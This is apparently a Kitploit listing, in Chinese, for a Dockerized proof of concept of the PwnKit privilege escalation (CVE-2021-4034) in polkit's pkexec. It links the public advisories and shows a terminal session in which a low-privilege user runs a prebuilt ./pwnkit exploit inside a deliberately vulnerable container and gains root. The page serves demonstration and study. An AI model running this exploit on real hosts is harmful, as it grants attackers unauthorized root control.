CVE-2021-4034 — Docker化的CVE-2021-4034（PwnKit）概念验证，这是polkit的pkexec中的一个本地权限提升漏洞，演示了非特权用户如何获取root访问权限。 | Kitploit

CVE-2021-4034 - 故意存在漏洞的 Docker 容器版本

PwnKit 的 Docker PoC：polkit 的 pkexec 中的本地权限提升漏洞（CVE-2021-4034）

https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC

运行容器：

user@debian:~$ docker run -it --rm baconspider/cve-2021-4034 bash
low@35bbe8a7ac93:/opt/test$ id
uid=1000(low) gid=1000(low) groups=1000(low)
low@35bbe8a7ac93:/opt/test$ ./pwnkit
root@35bbe8a7ac93:/opt/test# id
uid=0(root) gid=0(root) groups=0(root)